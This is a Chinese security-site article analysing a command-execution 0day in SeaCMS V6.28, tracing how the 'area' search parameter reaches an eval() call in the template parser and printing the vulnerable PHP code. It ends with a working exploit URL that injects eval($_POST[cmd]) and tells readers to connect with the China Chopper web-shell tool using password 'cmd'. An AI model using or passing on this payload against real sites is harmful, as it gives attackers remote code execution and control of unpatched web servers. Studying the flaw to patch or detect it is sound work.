首页 > 网络安全频道 > 网站安全 > 正文
海洋CMS V6.28 命令执行 0DAY
2016-09-17     我来说两句       作者:黑帽网
   我要投稿

 t00ls上一个朋友fuzz出了一个0day,但是分析不出来问题到底出在哪里,我分析了一下。

我是怎么追踪这个0day的呢?

其实只要追area参数处理过的地方就好了

经过字符是否非法判断之后,调用 echoSearchPage() 函数

area参数经过了检测是否是拼音之后

接下来到了

$content=$mainClassObj->parseSearchItemList($content,"area");

其实有个方法很简单,命令执行无非就是那么几个函数,eval(),system(),proc_open()之类的

因为能执行php代码一般就是 eval() 函数

搜索一下这个页面有eval函数的地方

 for($m=0;$m<$arlen;$m++){            $strIf=$iar[1][$m];            $strIf=$this->parseStrIf($strIf);            $strThen=$iar[2][$m];            $strThen=$this->parseSubIf($strThen);            if (strpos($strThen,$labelRule2)===false){                if (strpos($strThen,$labelRule3)>=0){                    $elsearray=explode($labelRule3,$strThen);                    $strThen1=$elsearray[0];                    $strElse1=$elsearray[1];                    @eval("if(".$strIf."){/$ifFlag=true;}else{/$ifFlag=false;}");                    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}                }else{                @eval("if(".$strIf.") { /$ifFlag=true;} else{ /$ifFlag=false;}");                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}            }

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令,当然函数不好追的话,还有一种方法就是自己写一个函数,再下断点,这样追起来比较方便。

海洋CMS exp
/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

直接菜刀连接,密码cmd

点击收藏到自己的收藏夹!回本站首页
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力  
上一篇:织梦(DedeCMS)V5.7SP1后台安全使用的注意事项
下一篇:网站入侵检测时提示无法找到对应的备份文件怎么解决
相关文章
图文推荐
排行
热门
网站
工具
无线
关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训
版权所有: 中国黑帽网--致力于做最好的网络安全技术学习网站 。